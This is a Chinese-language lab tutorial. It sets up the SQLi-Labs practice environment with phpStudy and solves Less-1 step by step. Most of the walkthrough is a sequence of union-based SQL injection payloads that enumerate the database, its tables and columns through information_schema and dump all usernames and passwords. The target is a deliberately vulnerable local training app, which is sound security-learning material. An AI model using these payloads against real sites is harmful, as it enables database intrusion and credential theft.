目的:搭建sql注入环境
工具,资料:phpshtudy,sql-lab
phpshtudy下载地址:https://www.xp.cn/
步骤:
开启phpstudy
进入网站根目录
将下载的 SQL-LAB 文件拖入到打开的网站根目录上面
修改 SQL-lab 的配置文件
(1)进入网站根目录,点击 sql-lab 文件在 sql-connections 文件夹下找到 db-creds.inc 文件,修改
文件内容,将用户名和密码改成本地 MySQL 数据库的用户名和密码,保存并退出(用记事本可以打开)
安装 SQL-LAB
(1)打开浏览器,输入 http://127.0.0.1/sql-lab 进入 SQLi-Labs 测试平台(一定要保证 phpstudy
是开着的)
点 击 Setup/reset Database for labs 进 行 安 装 , 出 现 以 下 界 面 则 表 示 安 装 成 功
1.5 解题(输入 127.0.0.1/sql-lab,点击 less-1)
打开第一关
提示在 URL 后面添加 ?id=1。即可知道用户的账号和密码
- id=1asdas
页面返回正常,说明不是数字型
2. ?id=1' and 1=1 --+
正常
3.?id=1' and 1=2--+
报错,确定存在字符型注入
4. 猜解列数?id=1' order by 4--+
1-3正常,4报错,存在列数3
5. 获取数据库用户信息
?id=-1' union select 1,user(),3 --+
因为当前用户是root,存在实现跨库攻击的可能性
6. (可选)root权限下获取所有数据库名
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
7. 猜解数据库名
?id=-1' union select 1,database(),3 --+
数据库名:security
8. 获取数据库版本信息
?id=-1' union select 1,version(),3 --+
数据库版本是5以上,存在information_schema(),用于查询数据库所拥有的表
9. 确认数据库操作系统类型
?id=-1' union select 1,@@version_compile_os,3 --+
windows系统不区分大小写,注入时不用注意大小写问题
10. 确认目标数据库中的表名
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
由名字可知,我们需要的信息在users表中
11. 获取users表中的列名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
12.获取全部username、password
?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+